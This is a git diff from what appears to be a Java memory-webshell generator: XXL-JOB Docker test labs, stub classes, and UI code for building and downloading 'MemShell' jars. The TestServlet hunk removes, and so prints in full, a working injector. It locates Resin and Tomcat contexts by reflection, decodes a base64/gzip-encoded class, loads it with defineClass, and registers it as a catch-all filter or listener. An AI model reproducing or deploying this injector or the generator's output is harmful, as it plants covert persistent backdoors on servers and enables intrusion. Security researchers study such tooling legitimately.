gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
} finally {
if (gzipInputStream != null) {
try {
gzipInputStream.close();
} catch (IOException ignored) {
}
}
out.close();
}
return out.toByteArray();
}
public Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
} catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null) {
field = getField(clazz.getSuperclass(), fieldName);
}
}
return field;
}
public Object getFieldValue(final Object obj, final String fieldName) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
return field.get(obj);
}
public void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
}
@@ -0,0 +1,8 @@
package com.xxl.job.core.biz;
/**
* @author ReaJason
* @since 2025/1/21
*/
public class ExecutorBiz {
}
@@ -0,0 +1,10 @@
package com.xxl.job.core.biz.impl;
import com.xxl.job.core.biz.ExecutorBiz;
/**
* @author ReaJason
* @since 2025/1/21
*/
public class ExecutorBizImpl extends ExecutorBiz {
}
@@ -0,0 +1,35 @@
package com.xxl.job.core.server;
import com.xxl.job.core.biz.ExecutorBiz;
import io.netty.channel.ChannelHandler;
import io.netty.channel.ChannelHandlerContext;
import java.util.concurrent.ThreadPoolExecutor;
/**
* @author ReaJason
* @since 2025/1/21
*/
public class EmbedServer {
public static class EmbedHttpServerHandler implements ChannelHandler {
public EmbedHttpServerHandler(ExecutorBiz executorBiz, String prefix, ThreadPoolExecutor executor) {
}
@Override
public void handlerAdded(ChannelHandlerContext ctx) throws Exception {
}
@Override
public void handlerRemoved(ChannelHandlerContext ctx) throws Exception {
}
@Override
public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) throws Exception {
}
}
}
+5
View File
@@ -0,0 +1,5 @@
idea {
module {
excludeDirs += file('src')
}
}
@@ -0,0 +1,24 @@
FROM maven:3.9.9-eclipse-temurin-8 AS builder
RUN set -ex \
&& cd /usr/src \
&& git clone --depth 1 -b 2.0.2 https://github.com/xuxueli/xxl-job.git . \
&& cd xxl-job-admin \
&& sed -i 's/spring\.datasource\.password=.*/spring.datasource.password=root/g' src/main/resources/application.properties \
&& sed -i 's|mysql://127\.0\.0\.1:3306|mysql://db:3306|g' src/main/resources/application.properties \
&& mvn clean package -DskipTests
FROM openjdk:8
RUN set -ex \
&& apt-get update \
&& apt-get install -y --no-install-recommends wait-for-it default-mysql-client \
&& rm -rf /var/lib/apt/lists/*
COPY --from=builder /usr/src/xxl-job-admin/target/xxl-job-admin-2.0.2.jar /usr/src/xxl-job-admin-2.0.2.jar
COPY docker-entrypoint.sh /docker-entrypoint.sh
COPY --from=builder /usr/src/doc/db/tables_xxl_job.sql /usr/src/tables_xxl_job.sql
WORKDIR /usr/src
ENTRYPOINT ["/docker-entrypoint.sh"]
CMD ["java", "-jar", "/usr/src/xxl-job-admin-2.0.2.jar"]
+9
View File
@@ -0,0 +1,9 @@
#!/bin/bash
set -e
wait-for-it -t 0 db:3306
if [[ $(mysql -hdb -uroot -proot -e "SHOW DATABASES LIKE 'xxl_job';") == "" ]]; then
mysql -hdb -uroot -proot < /usr/src/tables_xxl_job.sql
fi
exec "$@"
@@ -0,0 +1,23 @@
FROM maven:3.9.9-eclipse-temurin-8 AS builder
RUN set -ex \
&& cd /usr/src \
&& git clone --depth 1 -b 2.0.2 https://github.com/xuxueli/xxl-job.git . \
&& cd xxl-job-executor-samples/xxl-job-executor-sample-springboot \
&& sed -i 's|xxl\.job\.admin\.addresses=.*|xxl.job.admin.addresses=http://admin:8080/xxl-job-admin|g' src/main/resources/application.properties \
&& sed -i 's|xxl\.job\.executor\.logpath=.*|xxl.job.executor.logpath=/var/log/xxl-job|g' src/main/resources/application.properties \
&& mvn clean package -DskipTests
FROM openjdk:8
RUN set -ex \
&& apt-get update \
&& apt-get install -y --no-install-recommends wait-for-it \
&& rm -rf /var/lib/apt/lists/*
COPY --from=builder /usr/src/xxl-job-executor-samples/xxl-job-executor-sample-springboot/target/xxl-job-executor-sample-springboot-2.0.2.jar /usr/src/xxl-job-executor-sample-springboot-2.0.2.jar
COPY docker-entrypoint.sh /docker-entrypoint.sh
WORKDIR /usr/src
ENTRYPOINT ["/docker-entrypoint.sh"]
CMD ["java", "-jar", "/usr/src/xxl-job-executor-sample-springboot-2.0.2.jar"]
+7
View File
@@ -0,0 +1,7 @@
#!/bin/bash
set -ex
wait-for-it -t 0 admin:8080
exec "$@"
@@ -0,0 +1,24 @@
FROM maven:3.9.9-eclipse-temurin-8 AS builder
RUN set -ex \
&& cd /usr/src \
&& git clone --depth 1 -b v2.2.0 https://github.com/xuxueli/xxl-job.git . \
&& cd xxl-job-admin \
&& sed -i 's/spring\.datasource\.password=.*/spring.datasource.password=root/g' src/main/resources/application.properties \
&& sed -i 's|mysql://127\.0\.0\.1:3306|mysql://db:3306|g' src/main/resources/application.properties \
&& mvn clean package -DskipTests
FROM openjdk:8
RUN set -ex \
&& apt-get update \
&& apt-get install -y --no-install-recommends wait-for-it default-mysql-client \
&& rm -rf /var/lib/apt/lists/*
COPY --from=builder /usr/src/xxl-job-admin/target/xxl-job-admin-2.2.0.jar /usr/src/xxl-job-admin-2.2.0.jar
COPY docker-entrypoint.sh /docker-entrypoint.sh
COPY --from=builder /usr/src/doc/db/tables_xxl_job.sql /usr/src/tables_xxl_job.sql
WORKDIR /usr/src
ENTRYPOINT ["/docker-entrypoint.sh"]
CMD ["java", "-jar", "/usr/src/xxl-job-admin-2.2.0.jar"]
+9
View File
@@ -0,0 +1,9 @@
#!/bin/bash
set -e
wait-for-it -t 0 db:3306
if [[ $(mysql -hdb -uroot -proot -e "SHOW DATABASES LIKE 'xxl_job';") == "" ]]; then
mysql -hdb -uroot -proot < /usr/src/tables_xxl_job.sql
fi
exec "$@"
@@ -0,0 +1,23 @@
FROM maven:3.9.9-eclipse-temurin-8 AS builder
RUN set -ex \
&& cd /usr/src \
&& git clone --depth 1 -b v2.2.0 https://github.com/xuxueli/xxl-job.git . \
&& cd xxl-job-executor-samples/xxl-job-executor-sample-springboot \
&& sed -i 's|xxl\.job\.admin\.addresses=.*|xxl.job.admin.addresses=http://admin:8080/xxl-job-admin|g' src/main/resources/application.properties \
&& sed -i 's|xxl\.job\.executor\.logpath=.*|xxl.job.executor.logpath=/var/log/xxl-job|g' src/main/resources/application.properties \
&& mvn clean package -DskipTests
FROM openjdk:8
RUN set -ex \
&& apt-get update \
&& apt-get install -y --no-install-recommends wait-for-it \
&& rm -rf /var/lib/apt/lists/*
COPY --from=builder /usr/src/xxl-job-executor-samples/xxl-job-executor-sample-springboot/target/xxl-job-executor-sample-springboot-2.2.0.jar /usr/src/xxl-job-executor-sample-springboot-2.2.0.jar
COPY docker-entrypoint.sh /docker-entrypoint.sh
WORKDIR /usr/src
ENTRYPOINT ["/docker-entrypoint.sh"]
CMD ["java", "-jar", "/usr/src/xxl-job-executor-sample-springboot-2.2.0.jar"]
+7
View File
@@ -0,0 +1,7 @@
#!/bin/bash
set -ex
wait-for-it -t 0 admin:8080
exec "$@"
@@ -0,0 +1,25 @@
FROM maven:3.9.9-eclipse-temurin-8 AS builder
WORKDIR /usr/src
RUN set -ex \
&& git clone --depth 1 -b 2.3.0 https://github.com/xuxueli/xxl-job.git . \
&& cd xxl-job-admin \
&& sed -i 's/spring\.datasource\.password=.*/spring.datasource.password=root/g' src/main/resources/application.properties \
&& sed -i 's|mysql://127\.0\.0\.1:3306|mysql://db:3306|g' src/main/resources/application.properties \
&& mvn clean package -DskipTests
FROM openjdk:8
RUN set -ex \
&& apt update \
&& apt install -y --no-install-recommends wait-for-it default-mysql-client \
&& rm -rf /var/lib/apt/lists/*
COPY --from=builder /usr/src/xxl-job-admin/target/xxl-job-admin-2.3.0.jar /usr/src/xxl-job-admin-2.3.0.jar
COPY docker-entrypoint.sh /docker-entrypoint.sh
COPY --from=builder /usr/src/doc/db/tables_xxl_job.sql /usr/src/tables_xxl_job.sql
WORKDIR /usr/src
ENTRYPOINT ["/docker-entrypoint.sh"]
CMD ["java", "-jar", "/usr/src/xxl-job-admin-2.3.0.jar"]
+9
View File
@@ -0,0 +1,9 @@
#!/bin/bash
set -e
wait-for-it -t 0 db:3306
if [[ $(mysql -hdb -uroot -proot -e "SHOW DATABASES LIKE 'xxl_job';") == "" ]]; then
mysql -hdb -uroot -proot < /usr/src/tables_xxl_job.sql
fi
exec "$@"
@@ -0,0 +1,25 @@
FROM maven:3.9.9-eclipse-temurin-8 AS builder
WORKDIR /usr/src
RUN set -ex \
&& git clone --depth 1 -b 2.3.0 https://github.com/xuxueli/xxl-job.git . \
&& ls \
&& cd xxl-job-executor-samples/xxl-job-executor-sample-springboot \
&& sed -i 's|xxl\.job\.admin\.addresses=.*|xxl.job.admin.addresses=http://admin:8080/xxl-job-admin|g' src/main/resources/application.properties \
&& sed -i 's|xxl\.job\.executor\.logpath=.*|xxl.job.executor.logpath=/var/log/xxl-job|g' src/main/resources/application.properties \
&& mvn clean package -DskipTests
FROM openjdk:8
RUN set -ex \
&& apt-get update \
&& apt-get install -y --no-install-recommends wait-for-it \
&& rm -rf /var/lib/apt/lists/*
COPY --from=builder /usr/src/xxl-job-executor-samples/xxl-job-executor-sample-springboot/target/xxl-job-executor-sample-springboot-2.3.0.jar /usr/src/xxl-job-executor-sample-springboot-2.3.0.jar
COPY docker-entrypoint.sh /docker-entrypoint.sh
WORKDIR /usr/src
ENTRYPOINT ["/docker-entrypoint.sh"]
CMD ["java", "-jar", "/usr/src/xxl-job-executor-sample-springboot-2.3.0.jar"]
+7
View File
@@ -0,0 +1,7 @@
#!/bin/bash
set -ex
wait-for-it -t 0 admin:8080
exec "$@"
@@ -0,0 +1,25 @@
FROM maven:3.9.9-eclipse-temurin-17 AS builder
WORKDIR /usr/src
RUN set -ex \
&& git clone --depth 1 -b 2.5.0 https://github.com/xuxueli/xxl-job.git . \
&& cd xxl-job-admin \
&& sed -i 's/spring\.datasource\.password=.*/spring.datasource.password=root/g' src/main/resources/application.properties \
&& sed -i 's|mysql://127\.0\.0\.1:3306|mysql://db:3306|g' src/main/resources/application.properties \
&& mvn clean package -DskipTests
FROM openjdk:17-jdk-bullseye
RUN set -ex \
&& apt update \
&& apt install -y --no-install-recommends wait-for-it default-mysql-client \
&& rm -rf /var/lib/apt/lists/*
COPY --from=builder /usr/src/xxl-job-admin/target/xxl-job-admin-2.5.0.jar /usr/src/xxl-job-admin-2.5.0.jar
COPY docker-entrypoint.sh /docker-entrypoint.sh
COPY --from=builder /usr/src/doc/db/tables_xxl_job.sql /usr/src/tables_xxl_job.sql
WORKDIR /usr/src
ENTRYPOINT ["/docker-entrypoint.sh"]
CMD ["java", "-jar", "/usr/src/xxl-job-admin-2.5.0.jar"]
+9
View File
@@ -0,0 +1,9 @@
#!/bin/bash
set -e
wait-for-it -t 0 db:3306
if [[ $(mysql -hdb -uroot -proot -e "SHOW DATABASES LIKE 'xxl_job';") == "" ]]; then
mysql -hdb -uroot -proot < /usr/src/tables_xxl_job.sql
fi
exec "$@"
@@ -0,0 +1,25 @@
FROM maven:3.9.9-eclipse-temurin-17 AS builder
WORKDIR /usr/src
RUN set -ex \
&& git clone --depth 1 -b 2.5.0 https://github.com/xuxueli/xxl-job.git . \
&& ls \
&& cd xxl-job-executor-samples/xxl-job-executor-sample-springboot \
&& sed -i 's|xxl\.job\.admin\.addresses=.*|xxl.job.admin.addresses=http://admin:8080/xxl-job-admin|g' src/main/resources/application.properties \
&& sed -i 's|xxl\.job\.executor\.logpath=.*|xxl.job.executor.logpath=/var/log/xxl-job|g' src/main/resources/application.properties \
&& mvn clean package -DskipTests
FROM openjdk:17-jdk-bullseye
RUN set -ex \
&& apt-get update \
&& apt-get install -y --no-install-recommends wait-for-it \
&& rm -rf /var/lib/apt/lists/*
COPY --from=builder /usr/src/xxl-job-executor-samples/xxl-job-executor-sample-springboot/target/xxl-job-executor-sample-springboot-2.5.0.jar /usr/src/xxl-job-executor-sample-springboot-2.5.0.jar
COPY docker-entrypoint.sh /docker-entrypoint.sh
WORKDIR /usr/src
ENTRYPOINT ["/docker-entrypoint.sh"]
CMD ["java", "-jar", "/usr/src/xxl-job-executor-sample-springboot-2.5.0.jar"]
+7
View File
@@ -0,0 +1,7 @@
#!/bin/bash
set -ex
wait-for-it -t 0 admin:8080
exec "$@"
@@ -0,0 +1,23 @@
import javax.servlet.*;
import java.io.IOException;
/**
* @author ReaJason
* @since 2025/1/3
*/
public class EmptyFilter implements Filter {
@Override
public void destroy() {
}
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
chain.doFilter(request, response);
}
}
+5 -268
View File
@@ -2,15 +2,8 @@ import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse; import javax.servlet.http.HttpServletResponse;
import java.io.ByteArrayInputStream; import java.io.BufferedReader;
import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.*;
import java.util.zip.GZIPInputStream;
/** /**
* @author ReaJason * @author ReaJason
@@ -18,271 +11,15 @@ import java.util.zip.GZIPInputStream;
*/ */
public class TestServlet extends HttpServlet { public class TestServlet extends HttpServlet {
static Object getFV(Object obj, String fieldName) throws Exception {
try {
Field field = getF(obj, fieldName);
field.setAccessible(true);
return field.get(obj);
} catch (Exception var3) {
return null;
}
}
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
for (Class<?> clazz = obj.getClass(); clazz != null; clazz = clazz.getSuperclass()) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field;
} catch (NoSuchFieldException var3) {
}
}
throw new NoSuchFieldException(fieldName);
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = getF(obj, fieldName);
field.set(obj, value);
}
static byte[] decodeBase64(String base64Str) throws Exception {
try {
Class<?> decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception var4) {
Class<?> decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke((Object) null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
}
}
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
GZIPInputStream gzipInputStream = new GZIPInputStream(in);
byte[] buffer = new byte[256];
int n;
while ((n = gzipInputStream.read(buffer)) >= 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
}
public static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
}
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class<?>[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
Class<?> tempClass = clazz;
while (method == null && tempClass != null) {
try {
if (paramClazz == null) {
// Get all declared methods of the class
Method[] methods = tempClass.getDeclaredMethods();
for (Method value : methods) {
if (value.getName().equals(methodName) && value.getParameterTypes().length == 0) {
method = value;
break;
}
}
} else {
method = tempClass.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
tempClass = tempClass.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException(methodName);
}
method.setAccessible(true);
if (obj instanceof Class) {
try {
return method.invoke(null, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
} else {
try {
return method.invoke(obj, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
}
}
public String getUrlPattern() {
return "/*";
}
public String getClassName() {
return "com.google.gso.sLUOL.ErrorHandler";
}
public String getBase64String() {
return "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";
}
public void addListener(Object context, Object listener) throws Exception {
if (!this.isInjected(context, this.getClassName())) {
String filedName = "applicationEventListenersObjects";
Object applicationEventListenersObjects = getFV(context, filedName);
if (applicationEventListenersObjects == null) {
filedName = "applicationEventListenersInstances";
applicationEventListenersObjects = getFV(context, filedName);
}
if (applicationEventListenersObjects != null) {
Object[] appListeners = (Object[]) applicationEventListenersObjects;
if (appListeners != null) {
List appListenerList = new ArrayList(Arrays.asList(appListeners));
appListenerList.add(listener);
setFieldValue(context, filedName, appListenerList.toArray());
}
} else if (getFV(context, "applicationEventListenersList") != null) {
List<Object> appListeners = (List) getFV(context, "applicationEventListenersList");
if (appListeners != null) {
appListeners.add(listener);
}
}
}
}
public boolean isInjected(Object context, String evilClassName) throws Exception {
Object[] objects = (Object[]) invokeMethod(context, "getApplicationEventListeners");
List listeners = Arrays.asList(objects);
for (Object o : new ArrayList(listeners)) {
if (o.getClass().getName().contains(evilClassName)) {
return true;
}
}
return false;
}
public List<Object> getContext() {
List<Object> contexts = new ArrayList();
Set<Object> visited = new HashSet();
try {
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]);
for (Thread thread : threads) {
if (thread.getClass().getName().contains("Resin")) {
Class<?> servletInvocationClass = thread.getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation");
Object contextRequest = servletInvocationClass.getMethod("getContextRequest").invoke(null);
Object webApp = invokeMethod(contextRequest, "getWebApp", new Class[0], new Object[0]);
if (webApp != null && visited.add(webApp)) {
contexts.add(webApp);
}
}
}
} catch (Exception e) {
// Handle exception
}
return contexts;
}
private Object getFilter(Object context) {
Object filter = null;
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
try {
filter = classLoader.loadClass(this.getClassName());
} catch (Exception var9) {
try {
byte[] clazzByte = gzipDecompress(decodeBase64(this.getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
defineClass.setAccessible(true);
Class<?> clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
filter = clazz.newInstance();
} catch (Throwable e1) {
e1.printStackTrace();
}
}
return filter;
}
public void addFilter(Object context, Object filter) throws InvocationTargetException, NoSuchMethodException, IllegalAccessException, ClassNotFoundException, InstantiationException {
String filterClassName = this.getClassName();
try {
if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{filterClassName}) != null) {
return;
}
} catch (Exception var10) {
}
Object filterDef = Class.forName("org.apache.catalina.deploy.FilterDef").newInstance();
Object filterMap = Class.forName("org.apache.catalina.deploy.FilterMap").newInstance();
try {
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName});
invokeMethod(filterDef, "setFilterClass", new Class[]{String.class}, new Object[]{filterClassName});
invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName});
invokeMethod(filterMap, "setDispatcher", new Class[]{String.class}, new Object[]{"REQUEST"});
invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{this.getUrlPattern()});
Constructor<?>[] constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors();
try {
invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
} catch (Exception var9) {
invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
}
constructors[0].setAccessible(true);
try {
Object filterConfig = constructors[0].newInstance(context, filterDef);
Map filterConfigs = (Map) this.getFieldValue(context, "filterConfigs");
filterConfigs.put(filterClassName, filterConfig);
} catch (Exception e) {
if (!(e.getCause() instanceof ClassNotFoundException)) {
throw e;
}
}
} catch (Exception var12) {
}
}
@Override @Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
BufferedReader reader = req.getReader();
System.out.println(reader.getClass().getName());
} }
@Override @Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
BufferedReader reader = req.getReader();
} System.out.println(reader.getClass().getName());
@SuppressWarnings("all")
public Object getFieldValue(Object obj, String name) throws Exception {
Field field = null;
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
field = clazz.getDeclaredField(name);
break;
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(name);
} else {
field.setAccessible(true);
return field.get(obj);
}
} }
} }
BIN
View File
Binary file not shown.
+4 -4
View File
@@ -13,7 +13,7 @@
}, },
"devDependencies": { "devDependencies": {
"@biomejs/biome": "1.9.4", "@biomejs/biome": "1.9.4",
"@tanstack/router-plugin": "^1.97.3", "@tanstack/router-plugin": "^1.97.8",
"@types/node": "^22.10.7", "@types/node": "^22.10.7",
"@types/react": "^19.0.7", "@types/react": "^19.0.7",
"@types/react-dom": "^19.0.3", "@types/react-dom": "^19.0.3",
@@ -24,7 +24,7 @@
"postcss": "^8.5.1", "postcss": "^8.5.1",
"tailwindcss": "^3.4.17", "tailwindcss": "^3.4.17",
"typescript": "^5.7.3", "typescript": "^5.7.3",
"vite": "^6.0.7" "vite": "^6.0.11"
}, },
"dependencies": { "dependencies": {
"@hookform/resolvers": "^3.10.0", "@hookform/resolvers": "^3.10.0",
@@ -40,8 +40,8 @@
"@radix-ui/react-tabs": "^1.1.2", "@radix-ui/react-tabs": "^1.1.2",
"@radix-ui/react-tooltip": "^1.1.6", "@radix-ui/react-tooltip": "^1.1.6",
"@tanstack/react-query": "^5.64.2", "@tanstack/react-query": "^5.64.2",
"@tanstack/react-router": "^1.97.3", "@tanstack/react-router": "^1.97.8",
"@tanstack/router-devtools": "^1.97.3", "@tanstack/router-devtools": "^1.97.8",
"class-variance-authority": "^0.7.1", "class-variance-authority": "^0.7.1",
"clsx": "^2.1.1", "clsx": "^2.1.1",
"i18next": "^24.2.1", "i18next": "^24.2.1",
+10
View File
@@ -60,6 +60,16 @@ export function MainConfigCard({
} else { } else {
setShellTypes([]); setShellTypes([]);
} }
if (
(value === "SpringWebFlux" || value === "XXLJOB") &&
Number.parseInt(form.getValues("targetJdkVersion") as string) < 52
) {
form.setValue("targetJdkVersion", "52");
} else {
form.resetField("targetJdkVersion");
}
form.resetField("bypassJavaModule");
form.resetField("shellTool"); form.resetField("shellTool");
form.resetField("shellType"); form.resetField("shellType");
} }
+6 -2
View File
@@ -23,6 +23,7 @@ export function PackageConfigCard({
const [options, setOptions] = useState<Array<Option>>([]); const [options, setOptions] = useState<Array<Option>>([]);
const shellType = form.watch("shellType"); const shellType = form.watch("shellType");
const server = form.watch("server");
const { t } = useTranslation(); const { t } = useTranslation();
useEffect(() => { useEffect(() => {
@@ -33,7 +34,10 @@ export function PackageConfigCard({
if (shellType.startsWith("Agent")) { if (shellType.startsWith("Agent")) {
return name.startsWith("Agent"); return name.startsWith("Agent");
} }
return !name.startsWith("Agent"); if (server.startsWith("XXL")) {
return !name.startsWith("Agent");
}
return !name.startsWith("Agent") && !name.toLowerCase().startsWith("xxl");
}); });
setOptions( setOptions(
filteredOptions.map((name) => { filteredOptions.map((name) => {
@@ -46,7 +50,7 @@ export function PackageConfigCard({
if (filteredOptions.length > 0) { if (filteredOptions.length > 0) {
form.setValue("packingMethod", filteredOptions[0]); form.setValue("packingMethod", filteredOptions[0]);
} }
}, [form, packerConfig, shellType, t]); }, [form, packerConfig, server, shellType, t]);
return ( return (
<Card className="w-full"> <Card className="w-full">
+33 -8
View File
@@ -78,6 +78,26 @@ function AgentResult({ packResult, generateResult }: { packResult: string; gener
); );
} }
function JarResult({ packResult, generateResult }: { packResult: string; generateResult?: GenerateResult }) {
const { t } = useTranslation();
return (
<div className="flex items-center justify-center">
<Button
type="button"
onClick={() =>
downloadBytes(
packResult,
undefined,
`${generateResult?.shellConfig.server}${generateResult?.shellConfig.shellTool}MemShell`,
)
}
>
{t("download")} Jar
</Button>
</div>
);
}
function FeedbackAlert() { function FeedbackAlert() {
const { t } = useTranslation(); const { t } = useTranslation();
return ( return (
@@ -206,6 +226,7 @@ export function ShellResult({
}: { packResult: string; packMethod: string; generateResult?: GenerateResult }) { }: { packResult: string; packMethod: string; generateResult?: GenerateResult }) {
const showCode = packMethod === "JSP"; const showCode = packMethod === "JSP";
const isAgent = packMethod.startsWith("Agent"); const isAgent = packMethod.startsWith("Agent");
const isJar = packMethod === "Jar";
const { t } = useTranslation(); const { t } = useTranslation();
return ( return (
<Fragment> <Fragment>
@@ -220,16 +241,20 @@ export function ShellResult({
<div className="mb-4"> <div className="mb-4">
<BasicInfo generateResult={generateResult} /> <BasicInfo generateResult={generateResult} />
</div> </div>
{!isAgent && ( {!isAgent && !isJar && (
<CodeViewer <Fragment>
code={packResult} <div className="flex items-center justify-end text-sm text-muted-foreground">({packResult.length})</div>
